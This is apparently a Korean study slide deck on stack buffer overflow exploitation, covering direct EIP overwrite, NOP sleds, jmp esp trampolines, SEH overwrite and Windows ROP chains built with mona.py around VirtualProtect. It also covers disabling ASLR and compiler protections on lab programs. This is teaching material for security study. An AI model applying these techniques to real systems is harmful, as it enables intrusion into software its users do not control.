&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
코드들..
...
ret 10
[VirtualProtect 호출]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
jmp esp 실행
nop
nop
nop
nop
셸 코드...
...
ESP
< ret10 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
jmp esp
[JMP ESP 가젯]
ESP
< ret10 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
참고 : VirtualProtect
함수를 통해 페이지
단위로 권한이 바뀌었기
때문에 위의 nop에도
excute 권한이 생김(그럴
확률이 높음)
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• 여기 까지가 원하는 시나리오
• -> 이런 좋은 가젯이 갖춰지는 환경은 흔하지 않다!
• 실제로는 방금 살펴본 일과 똑같은 일을 빙 돌아서 하게 됨
• 많은 시간이 걸리고 골치 아프다..
• 그래서 보통 ROP를 도와주는 툴을 이용한다
• 리눅스에 ROPEME가 있다면 윈도우에는 mona.py가 있다.
• mona의 rop 기능을 이용하여 rop를 조금 더 간편하게 할 수 있다.
• ASLR이 적용되지 않은 모듈에서 ROP 가젯을 찾아준다.
• 하지만 세세한 조정은 직접 해야 함. 손을 타는 일임
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• !mona rop 명령어 실행
• 여러 파일을 만들어 준다.
• rop_chains.txt 파일 : 주로 쓰이는 ROP chain 패턴을 생성
• VirtualProtect와 VirtualAlloc 을 이용하는 ROP chain을 짜 준다.
• 각 언어(Ruby, C, Python, JavaScript)로 exploit 코드를 써 준다.
• 없는 가젯은 0x00000000으로 써 주고, 주석에 표시함
• 이 부분은 직접 채워 넣어 완성해야 함
• 가젯이 전부 써 있더라도, 쓰레기 코드의 영향으로 앞에서 설정한
레지스터 값이 망가질 수 있음
• 체크해보고 수정해야 함
• rop.txt 파일 : 찾은 가젯들을 모아둠.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• !mona rop 명령어 실행
• 여러 파일을 만들어 준다.
• rop_suggestions.txt 파일 : 가젯 중에서 쓸만한 가젯
들을 추천해준다.
• stackpivot.txt 파일 : ESP를 ROP chain으로 이어주는
다리역할을 할 가젯을 추천해준다.
• ESP를 적절히 조절하여 ROP chain으로 가져다 놓
는 역할을 할 만한 가젯들
• SEH를 이용한 exploit에는 stackpivot이 필요하다.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• rop_chains.txt가 꽤 잘 만들어졌으므로 이용하겠음
• 하지만 특정 레지스터에 pop하기 위해 이용한 가젯이 앞에서 설정한 레지스터를 오염시킴
• -> 재배치가 필요
ESI 설정, EAX 임시저장소로 이용
EDI 설정, ESI에 쓰레기 값 pop
EBP 설정
EBX 설정, EBP에 쓰레기 값 pop
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• 재배치한 rop chain
• 레지스터가 망가지지 않도록 재배치했음
EBX 설정, EBP 쓰레기 값
EBP 설정
EDX 설정, EAX 임시장소로 이용
ECX 설정
EDI 설정, ESI 쓰레기 값
ESI 설정, EAX 임시 장소로 이용
EAX 설정
mona.py가 만들어주는 ROP chain에서는 VirtualProtect의 dwSize 크기를 기본적으로 0x201로 잡는다.
하지만 이 취약 프로그램의 경우 stack overflow가 나므로 좀 더 작게 잡았음.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• Exploit
• ROP chain 바로 뒤에는 셸 코드를 붙였음
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 2
• 앞에서 한 것은 RET based ROP
• return address를 조작하여 ROP chain 실행
• 이번엔 SEH based ROP를 실습해 보자
• SEH Overwrite를 이용하여 ROP chain 실행
• 똑같은 취약 프로그램 이용
BLIND ROP (BROP)
OMEGA PROJECT
JUMP ORIENTED PROGRAMMING
정리
정리
부록 • 참고 사이트
참고 사이트
• 기억 할 만한 gcc 컴파일 옵션
• http://blog.kimtae.xyz/85
• 파이썬 결과값 전달하기 (sh에게 입력 값을 줄 수 있도록 하기)
• https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running-
shellcode
• https://stackoverflow.com/questions/30972544/gdb-exiting-instead-of-spawning-a-shell
• 셸 커맨드의 세미콜론 역할
• https://unix.stackexchange.com/questions/187145/whats-the-difference-between-semicolon-and-double-ampersand
• SEH overwrite 참고 문서
• http://cafe.naver.com/secuholic/9071
Pwnable study basic_3
Pwnable study basic_3
Pwnable study basic_3
Pwnable study basic_3
Pwnable study basic_3

More Related Content

Similar to Pwnable study basic_3

[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel CaliforniaTheori
 
Main Variable Program
Main Variable ProgramMain Variable Program
Main Variable Program경섭 심
 
[Kerference] 시작! 리버싱 - 김종범(KERT)
[Kerference] 시작! 리버싱 - 김종범(KERT)[Kerference] 시작! 리버싱 - 김종범(KERT)
[Kerference] 시작! 리버싱 - 김종범(KERT)NAVER D2
 
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것NAVER D2
 
Windows reversing study_basic_1
Windows reversing study_basic_1Windows reversing study_basic_1
Windows reversing study_basic_1Jinkyoung Kim
 
Assembly 스터디 1
Assembly 스터디 1Assembly 스터디 1
Assembly 스터디 1Jinkyoung Kim
 
Windows reversing study_basic_2
Windows reversing study_basic_2Windows reversing study_basic_2
Windows reversing study_basic_2Jinkyoung Kim
 
Windows reversing study_basic_9
Windows reversing study_basic_9Windows reversing study_basic_9
Windows reversing study_basic_9Jinkyoung Kim
 
Visual Studio를 이용한 어셈블리어 학습 part 1
Visual Studio를 이용한 어셈블리어 학습 part 1Visual Studio를 이용한 어셈블리어 학습 part 1
Visual Studio를 이용한 어셈블리어 학습 part 1YEONG-CHEON YOU
 
병렬 프로그래밍
병렬 프로그래밍병렬 프로그래밍
병렬 프로그래밍준혁 이
 
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹GangSeok Lee
 
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드GangSeok Lee
 
Reverse Engineering 2015.02.09
Reverse Engineering 2015.02.09Reverse Engineering 2015.02.09
Reverse Engineering 2015.02.09fromitive
 
Windows kernel basic exploit
Windows kernel basic exploitWindows kernel basic exploit
Windows kernel basic exploitKyoungseok Yang
 
요람(CreateProcess)에서 무덤(ResumeThread)까지
요람(CreateProcess)에서 무덤(ResumeThread)까지요람(CreateProcess)에서 무덤(ResumeThread)까지
요람(CreateProcess)에서 무덤(ResumeThread)까지Hyoje Jo
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340Samsung Electronics
 

Similar to Pwnable study basic_3 (20)

[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California
 
Main Variable Program
Main Variable ProgramMain Variable Program
Main Variable Program
 
[Kerference] 시작! 리버싱 - 김종범(KERT)
[Kerference] 시작! 리버싱 - 김종범(KERT)[Kerference] 시작! 리버싱 - 김종범(KERT)
[Kerference] 시작! 리버싱 - 김종범(KERT)
 
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것
[2017 Incognito] 스택 구조 분석을 통한 ROP 기법의 모든 것
 
Windows reversing study_basic_1
Windows reversing study_basic_1Windows reversing study_basic_1
Windows reversing study_basic_1
 
Assembly 스터디 1
Assembly 스터디 1Assembly 스터디 1
Assembly 스터디 1
 
Windows reversing study_basic_2
Windows reversing study_basic_2Windows reversing study_basic_2
Windows reversing study_basic_2
 
Windows reversing study_basic_9
Windows reversing study_basic_9Windows reversing study_basic_9
Windows reversing study_basic_9
 
Visual Studio를 이용한 어셈블리어 학습 part 1
Visual Studio를 이용한 어셈블리어 학습 part 1Visual Studio를 이용한 어셈블리어 학습 part 1
Visual Studio를 이용한 어셈블리어 학습 part 1
 
병렬 프로그래밍
병렬 프로그래밍병렬 프로그래밍
병렬 프로그래밍
 
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
 
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
 
ES6 for Node.js Study 4주차
ES6 for Node.js Study 4주차ES6 for Node.js Study 4주차
ES6 for Node.js Study 4주차
 
(Lisp)
(Lisp)(Lisp)
(Lisp)
 
Reverse Engineering 2015.02.09
Reverse Engineering 2015.02.09Reverse Engineering 2015.02.09
Reverse Engineering 2015.02.09
 
Windows kernel basic exploit
Windows kernel basic exploitWindows kernel basic exploit
Windows kernel basic exploit
 
ES6 for Node.js Study 2주차
ES6 for Node.js Study 2주차ES6 for Node.js Study 2주차
ES6 for Node.js Study 2주차
 
요람(CreateProcess)에서 무덤(ResumeThread)까지
요람(CreateProcess)에서 무덤(ResumeThread)까지요람(CreateProcess)에서 무덤(ResumeThread)까지
요람(CreateProcess)에서 무덤(ResumeThread)까지
 
ES6 for Node.js Study
ES6 for Node.js StudyES6 for Node.js Study
ES6 for Node.js Study
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340
 

More from Jinkyoung Kim

Axelar 22.04 bughunting case study
Axelar 22.04 bughunting case studyAxelar 22.04 bughunting case study
Axelar 22.04 bughunting case studyJinkyoung Kim
 
Angle Protocol bughunting case study
Angle Protocol bughunting case studyAngle Protocol bughunting case study
Angle Protocol bughunting case studyJinkyoung Kim
 
Nouns DAO bughunting case study
Nouns DAO bughunting case studyNouns DAO bughunting case study
Nouns DAO bughunting case studyJinkyoung Kim
 
Web hacking introduction
Web hacking introductionWeb hacking introduction
Web hacking introductionJinkyoung Kim
 
Linux reversing study_basic_3
Linux reversing study_basic_3Linux reversing study_basic_3
Linux reversing study_basic_3Jinkyoung Kim
 
Linux reversing study_basic_2
Linux reversing study_basic_2Linux reversing study_basic_2
Linux reversing study_basic_2Jinkyoung Kim
 
Linux reversing study_basic_1
Linux reversing study_basic_1Linux reversing study_basic_1
Linux reversing study_basic_1Jinkyoung Kim
 
Windows reversing study_basic_8
Windows reversing study_basic_8Windows reversing study_basic_8
Windows reversing study_basic_8Jinkyoung Kim
 
Windows reversing study_basic_6
Windows reversing study_basic_6Windows reversing study_basic_6
Windows reversing study_basic_6Jinkyoung Kim
 
Windows reversing study_basic_5
Windows reversing study_basic_5Windows reversing study_basic_5
Windows reversing study_basic_5Jinkyoung Kim
 
Windows reversing study_basic_4
Windows reversing study_basic_4Windows reversing study_basic_4
Windows reversing study_basic_4Jinkyoung Kim
 
Windows reversing study_basic_3
Windows reversing study_basic_3Windows reversing study_basic_3
Windows reversing study_basic_3Jinkyoung Kim
 

More from Jinkyoung Kim (20)

Axelar 22.04 bughunting case study
Axelar 22.04 bughunting case studyAxelar 22.04 bughunting case study
Axelar 22.04 bughunting case study
 
Angle Protocol bughunting case study
Angle Protocol bughunting case studyAngle Protocol bughunting case study
Angle Protocol bughunting case study
 
Nouns DAO bughunting case study
Nouns DAO bughunting case studyNouns DAO bughunting case study
Nouns DAO bughunting case study
 
Web hacking introduction
Web hacking introductionWeb hacking introduction
Web hacking introduction
 
Linux reversing study_basic_3
Linux reversing study_basic_3Linux reversing study_basic_3
Linux reversing study_basic_3
 
Linux reversing study_basic_2
Linux reversing study_basic_2Linux reversing study_basic_2
Linux reversing study_basic_2
 
Linux reversing study_basic_1
Linux reversing study_basic_1Linux reversing study_basic_1
Linux reversing study_basic_1
 
Python
PythonPython
Python
 
System+os study 7
System+os study 7System+os study 7
System+os study 7
 
System+os study 6
System+os study 6System+os study 6
System+os study 6
 
System+os study 5
System+os study 5System+os study 5
System+os study 5
 
System+os study 4
System+os study 4System+os study 4
System+os study 4
 
System+os study 3
System+os study 3System+os study 3
System+os study 3
 
System+os study 2
System+os study 2System+os study 2
System+os study 2
 
System+os study 1
System+os study 1System+os study 1
System+os study 1
 
Windows reversing study_basic_8
Windows reversing study_basic_8Windows reversing study_basic_8
Windows reversing study_basic_8
 
Windows reversing study_basic_6
Windows reversing study_basic_6Windows reversing study_basic_6
Windows reversing study_basic_6
 
Windows reversing study_basic_5
Windows reversing study_basic_5Windows reversing study_basic_5
Windows reversing study_basic_5
 
Windows reversing study_basic_4
Windows reversing study_basic_4Windows reversing study_basic_4
Windows reversing study_basic_4
 
Windows reversing study_basic_3
Windows reversing study_basic_3Windows reversing study_basic_3
Windows reversing study_basic_3
 

Pwnable study basic_3

  • 1. PWNABLE BASIC #3 다양한 Exploit – Stack BOF
  • 2. 목차 • 다양한 Exploit – Stack BOF • Direct EIP Overwrite • 실습 – Windows • 실습 – Linux • NOP sled • 실습 – Linux • 응용 • Trampoline Technique • 개념 • 실습 – Windows • mona를 이용하여 코드조각 찾기 • SEH Overwrite (Windows) • 개념 • 실습 – Windows • Egg shell • 개념 • 실습 – Linux – 환경변수 이용하기 • 실습 – Linux – 1 • 실습 – Linux – 2 • Fake EBP • 개념 • 실습 – Linux • Saved Frame pointer Overwrite • 개념 • 실습 – Linux • RET sled • 개념 • 실습 – Linux • Return To Library(RTL) • 실습 – Linux • 실습 – Windows • RTL chain • 개념 • 실습 – Linux • 실습 – Windows • RET2PLT (Linux) • 개념 • 실습 – Linux • RET2DL (Linux) • GOT Overwrite • 실습 - Linux • Return Oriented Programming (ROP) • 실습 – Linux – 1 • 실습 – Linux – 2 • 실습 – Linux – 3 • 실습 – Windows – 1 • 실습 – Windows – 2 • Omega project (Linux) • 부록 • 참고 사이트
  • 3. DIRECT EIP OVERWRITE • 실습 – Windows • 실습 – Linux
  • 4. DIRECT EIP OVERWRITE • 지금까지 예제로 들던, 가장 기초적인 버퍼 오버플로우 • 스택에 저장된 함수의 Return 주소를 바꿈 • 스택에 저장한 셸 코드의 주소로 가서, 셸 코드 실행 • Direct Ret 라고도 함 • DEP(Data Execution Prevention)과 ASLR(Address Space Layer Randomization), 스택 가드(버퍼 보안 검사) 방어기법이 해제되 어 있어야 함 방어기술 Direct EIP
  • 5. DIRECT EIP OVERWRITE – 실습 – WINDOWS • 취약한 프로그램 • 비주얼 스튜디오에서 모든 방어와 최적화를 해제한다.
  • 6. DIRECT EIP OVERWRITE – 실습 – WINDOWS • 스택 구조 • EBP 백업 • SUB ESP, 0xC8 (십진수로 200) • scanf 에 들어가는 주소 (입력 시작 주소): EBP – 0xC8 • 이 주소는 0x0019FE78 • Return address의 시작 주소 : EBP + 0x4 • ->(EBP + 0x4) - (EBP – 0xC8) = 0xCC • 0xCC바이트 만큼의 쓰레기 값 또는 셸 코드 입력 후 4바이트 크기의 주소(Return address) 입력 • Return address는 셸 코드의 주소 .... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - C0 EBP - BC EBP - 14 EBP - 10 EBP - C EBP - 8 EBP - 4 . . . EBP - B8 EBP - B4 EBP - B0
  • 7. DIRECT EIP OVERWRITE – 실습 – WINDOWS • 이용할 셸 코드 • WinExec 함수를 이용하여 cmd를 실행하고, ExitProcess 함수를 호출하는 코드 • NULL 문자를 없앤 버전이며, Universal 셸 코드 아님 • 함수 주소를 구해 이용했음
  • 8. DIRECT EIP OVERWRITE – 실습 – WINDOWS • Exploit • scanf에 넣는 버퍼의 시작 주소부터 셸 코드를 넣음 • Return address의 위치까지 가기 위해 쓰레기 값을 넣음 • 파이썬 코드에서, 위쪽 쓰레기 값으로는 A를, EBP backup 자리에는 B를 넣어 보았음 (구분을 위해) ...셸코드... ...쓰레기값... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - 14 EBP - 10 EBP - C EBP - 8 EBP - 4 . . . EBP - 84 EBP - 80 . . .
  • 9. DIRECT EIP OVERWRITE – 실습 – WINDOWS • 성공 • 가장 간단한 형태의 Stack BOF Exploit • 단순히 return address를 조작하여, 스택에 입력해 둔 셸 코드를 실행하도록 한다. • 단점 : 방어 기법이 해제된 상태에 가능. • ASLR, DEP, SG 우회 불가
  • 10. DIRECT EIP OVERWRITE – 실습 – LINUX • 취약한 프로그램 • 주소를 출력하는 코드도 추가했음
  • 11. DIRECT EIP OVERWRITE – 실습 – LINUX • 취약한 프로그램 • 컴파일 시 모든 방어와 최적화를 해제한다. • -fno-stack-protector : SG 해제 (ssp 보호기법 끄기) • -z execstack : 스택에 실행권한 주기 (DEP 해제) • -mpreferred-stack-boundary=2 : 더미 없애기 • 2 : 32bit, 4 : 64bit • ASLR 해제 • 최근 나온 리눅스는 기본적으로 ASLR이 켜 져 있다. • OS 설정으로 바꿔야 함 • sudo su 명령어로 root계정으로 전환 • /proc/sys/kernel/randomize_va_space 에 0을 씀 • 0일 때 : ASLR 해제 • 1일 때 : 랜덤 스택&랜덤 라이브러리 설정 • 2일 때 : 랜덤 스택&랜덤 라이브러리&랜덤 힙 설 정
  • 12. DIRECT EIP OVERWRITE – 실습 – LINUX • 스택 구조 • EBP 백업 • SUB ESP, 0xC8 (십진수로 200) • scanf 에 들어가는 주소 (입력 시작 주소): EBP – 0xC8 • 이 주소는 0xFFFFCC00 (gdb와 일반 실행 시 다를 수 있음, 또한 다른 터미널에서 실행 시 다를 수 있음) • 프로그램을 일반적으로 실행했을 시 나오는 주소를 이용할 것 • Return address의 시작 주소 : EBP + 0x4 • ->(EBP + 0x4) - (EBP – 0xC8) = 0xCC • 0xCC바이트 만큼의 쓰레기 값 또는 셸 코드 입력 후 4바이트 크기의 주소(Return address) 입력 • Return address는 셸 코드의 주소 .... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - C0 EBP - BC EBP - 14 EBP - 10 EBP - C EBP - 8 EBP - 4 . . . EBP - B8 EBP - B4 EBP - B0
  • 13. DIRECT EIP OVERWRITE – 실습 – LINUX • 이용할 셸 코드 • /bin/sh를 exec하는 코드 • NULL 문자를 없앤 버전 • scanf는 NULL을 입력해도 끊기지는 않는 듯 • 오히려 n나 다른 제어문자들을 조심해야 함 • 하지만 다른 취약한 문자열 관련 함수들이 null을 이용하기 때문에 null을 없애는 것이 좋음
  • 14. DIRECT EIP OVERWRITE – 실습 – LINUX • Exploit • scanf에 넣는 버퍼의 시작 주소부터 셸 코드를 넣음 • Return address의 위치까지 가기 위해 쓰레기 값을 넣음 • 파이썬 코드에서, 위쪽 쓰레기 값으로는 A를, EBP backup 자리에는 B를 넣어 보았음 (구분을 위해) ...셸코드... ...쓰레기값... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - 14 EBP - 10 EBP - C EBP - 8 EBP - 4 . . . EBP - 84 EBP - 80 . . .
  • 15. DIRECT EIP OVERWRITE – 실습 – LINUX • 성공 • 파이썬 출력 값을 파일로 저장, cat을 이용하여 전달 • cat 의 맨 뒤 –는 stdin을 의미한다. 키보드에서 입력한 stdin을 계속 전달하도록 함 • exploit 되어 실행된 sh에 명령어를 전달하기 위한 용도 • myExploit이 먼저 cat의 입력 값으로 들어가 ./a.out에 들어가고, 그 다음 cat – 가 실행되어 키보드에 입력한 값을 전달 • 부록의 참고사이트를 반드시 확인할 것! • 또는 (python ex.py; cat; ) | ./a.out과 같은 형태로도 가능 • 명령어를 여러 개 차례대로 실행할 때
  • 16. NOP SLED • 실습 – Linux • 응용
  • 17. NOP SLED • Stack BOF 뿐만 아니라 모든 셸 코드에 적용 가능 • 우회 기술이라 하긴 부족하고, 그냥 일반적인 테크닉임 • 쓰레기 값 대신 nop 명령어를 넣는다 • 기계어로 0x90에 해당 • 주소를 정확히 예측해야 한다는 부담을 덜 수 있음 • 셸 코드 위쪽에 nop들을 넣고, 대충 nop이 있을 만한 주소로 가도록 하면 nop들을 미끄러져 내려와 셸 코드에 도달 • nop과 셸 코드를 반복적으로 뿌려 놓고 주소를 대충 찍는 등 여기저기 응용되어 쓰임 • 앞으로 쓰레기 값(더미 값)들은 nop이나 nop과 같이 의미 없는 코드들(mov eax, eax 등) 로 채운다고 생각 • 주의 • 보안 장비들이 많은 nop들 (0x90)을 감지하여 악성코드를 탐지하기도 함 • -> 다른 의미 없는 코드로도 같은 효과를 낼 수 있으므로, 반드시 nop을 고집할 필요는 없다.
  • 18. NOP SLED – 실습 – LINUX • 리눅스의 경우, ASLR을 꺼도 스택의 주소가 바뀌는 경우가 있음 • 인자나 몇 가지 환경에 따라 바뀌는 것 같음 • nop sled 을 넣은 코드로 여러 번 시도 -> 예측이 맞았을 때만 Exploit 성공! • 셸 코드의 중간부터 시작하거나, nop sled도 셸 코드 시작도 아닌 곳의 주소일 경우 실패 • (약간의 노가다 성질이 있음) • 위에서 쓴 예제 그대로, 익스플로잇만 수정 • 겸사겸사 주소에 있던 null도 없애 봄
  • 19. NOP SLED – 실습 – LINUX • Exploit • 앞에서 넣었던 쓰레기 값 대신 nop을 넣었음 ...nop... 셸 코드 ...nop... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - 48 EBP - 44 EBP - 4 . . . EBP - 64 EBP - 80 . . . . . .
  • 20. NOP SLED – 실습 – LINUX • Exploit • ret 코드를 통해 nop 코드가 있는 주소로 가게 됨 • nop을 타고 미끄러져 내려와 셸 코드를 실행 ...nop... 셸 코드 ...nop... EBP backup Return address EBP EBP - C8 EBP + 4 EBP - C4 EBP - 48 EBP - 44 EBP - 4 . . . EBP - 64 EBP - 80 . . . . . .
  • 21. NOP SLED 응용 ...nop... jmp 셸 코드 (상대주소 이용) 셸 코드 jmp 셸 코드 (상대주소 이용) ...nop... jmp 셸 코드 (상대주소 이용) EBP backup Return address ...nop... 셸 코드 셸 코드 셸 코드 EBP backup Return address • Nop sled 사이사이에 핵심 셸 코드로 점프하는 셸 코드를 넣어 셸 코드 신뢰도 높이기 • 똑같은 셸 코드들을 흩뿌려서 신뢰도 높이기
  • 22. TRAMPOLINE TECHNIQUE • 개념 • 실습 – Windows
  • 23. • 앞서 이용한 Direct EIP는 정확한, 또는 적어도 유사한 주소를 알아야 사용할 수 있다 • ASLR 방어기법이 적용되었다면 성공 가능성이 거의 없다. • Address Space Layout Randomization, 주소가 랜덤하게 변경됨 • 이와 같은 ASLR을 우회하기 위한 방법으로 고안된 것이 trampoline technique • 약간의 결점이 있는 우회 방법임 • Windows의 경우, ASLR 적용 설정을 한 모듈만 ASLR이 적용된다. • 사용하는 DLL 중 어떤 DLL은 고정 주소를 갖고, 어떤 DLL은 ASLR을 적용하는 경우가 생길 수 있다. 이 때, 고정주소를 갖는 모듈(DLL이나 EXE 등)의 주소를 이용할 수 있다. • 단, 이미 그 주소에 다른 모듈이 올라와 있다면 재배치될 수도 있다는 점에 주의 • Linux의 경우, OS의 설정에 의해 ASLR이 적용된다. • 스택의 Return address에 직접 셸 코드의 주소를 써 넣는 것이 아니라, “JMP 레지스터” 코드가 있는 주소를 적어 동적으로 버퍼 주소로 이동하도록 하는 기법 • ASLR이 적용되지 않은 모듈에서 JMP 레지스터 코드를 찾는다. Stack BOF를 이용해 return address에 해당 코드의 주소를 적는다. ASLR TRAMPOLINE TECHNIQUE 개념 방어기술 Trampoline
  • 24. TRAMPOLINE TECHNIQUE 개념 push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] ESP ...더미 데이터... EBP backup Return address ...셸 코드... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C <ret 실행 전 스택> ...더미 데이터... EBP backup Return address ...셸 코드... EBP . . . <스택 BOF 후 스택> mov esp, ebp / pop ebp 코드 실행
  • 25. TRAMPOLINE TECHNIQUE 개념 ESP <ret 실행 전 스택> ...더미 데이터... EBP backup 0xXXXXXXXX (주소) ...셸 코드... EBP . . . ESP <ret 실행 후 스택> ...더미 데이터... EBP backup 0xXXXXXXXX (주소) ...셸 코드... EBP . . . ret 코드 실행 push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] EIP는 주소 0xXXXXXXXX에 있는 jmp esp 코드로 이동
  • 26. TRAMPOLINE TECHNIQUE 개념 ESP 와 EIP <ret과 jmp esp 실행 후 스택> ...더미 데이터... EBP backup Return address ...셸 코드... EBP . . . 높은 주소 jmp esp 코드 실행 ESP <ret 실행 후 스택> ...더미 데이터... EBP backup 0xXXXXXXXX (주소) ...셸 코드... EBP . . .
  • 27. TRAMPOLINE TECHNIQUE 개념 • 반드시 jmp esp 코드일 필요는 없음 • 특정 레지스터에 스택 주소가 저장되어 있다면, 그리고 그 위치에 stack BOF를 이용하여 원하는 값을 넣을 수 있다면 가능 • 예를 들어, ECX 레지스터에 지역 변수의 주소(스택 주소)가 들어 있고, 그 지역 변수에 저장된 값을 stack BOF를 이용해 조 작할 수 있다면 가능 • 이 경우 jmp ecx 코드의 주소를 찾아 넣어야 함 • 핵심 • 1. 조작 가능한 스택의 주소를 갖는 레지스터를 찾는다. • 2. ASLR이 적용되지 않은 코드에서, 그 레지스터에 저장된 값을 이용하여 점프하는 코드를 찾는다. • 3. return address에 해당 코드 주소를 적는다.
  • 28. TRAMPOLINE TECHNIQUE – 실습 – WINDOWS • jmp esp 코드를 찾아 봄 • 명령어 검색으로 jmp esp를 찾아도 되고, 기계어 FF E4를 찾아도 됨 • 실제 코드가 jmp esp로 코딩된 게 아니라, 어떤 주소나 값 등이 우연히 FF E4여도 됨 • Executable하고 ASLR이 적용되지 않은 영역에만 있으면 됨 • (원래는 직접 이용하는 ASLR이 적용되지 않은 모듈을 찾고, 그 중 원하는 패턴을 찾아야 하지만, ASLR이 적용되지 않은 모듈을 찾기 어려워 서, 그냥 ASLR이 적용된 주소를 찾음. 껐다 키면 다른 주소가 될 것임.) • 주소 0x7414D24B에 FEE4 패턴이 있다는 것을 알아냈다.
  • 29. TRAMPOLINE TECHNIQUE – 실습 – WINDOWS • Exploit • return address 이전의 데이터에는 쓰레기 값을 넣음 • return address에는 구한 주소를 넣음 • return address 뒤에는 셸 코드를 넣었음 • (껐다 켜서 하드 코딩한 함수 주소가 좀 바뀌었음..) ...더미 데이터... EBP backup Return address ...셸 코드... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C
  • 30. TRAMPOLINE TECHNIQUE – MONA를 이용하여 코드조각 찾기 • 적절한 모듈을 찾기 위해 툴을 이용할 수 있다 • Immunity Debugger의 mona를 이용 • !mona jmp –r esp • 사용하는 모듈의 코드영역 전체에서 jmp esp 코드를 찾는다. • 바이너리 일부에 있는 xffxe4를 찾기엔 부족 • !mona find –s “xffxe4” • !mona config –set workingfolder C:myfolder%p • 결과를 출력할 폴더 경로를 설정 • %p에는 현재 디버깅중인 프로그램 이름이 자동으로 들어 감
  • 31. SEH OVERWRITE (WINDOWS) • 개념 • 실습 – Windows
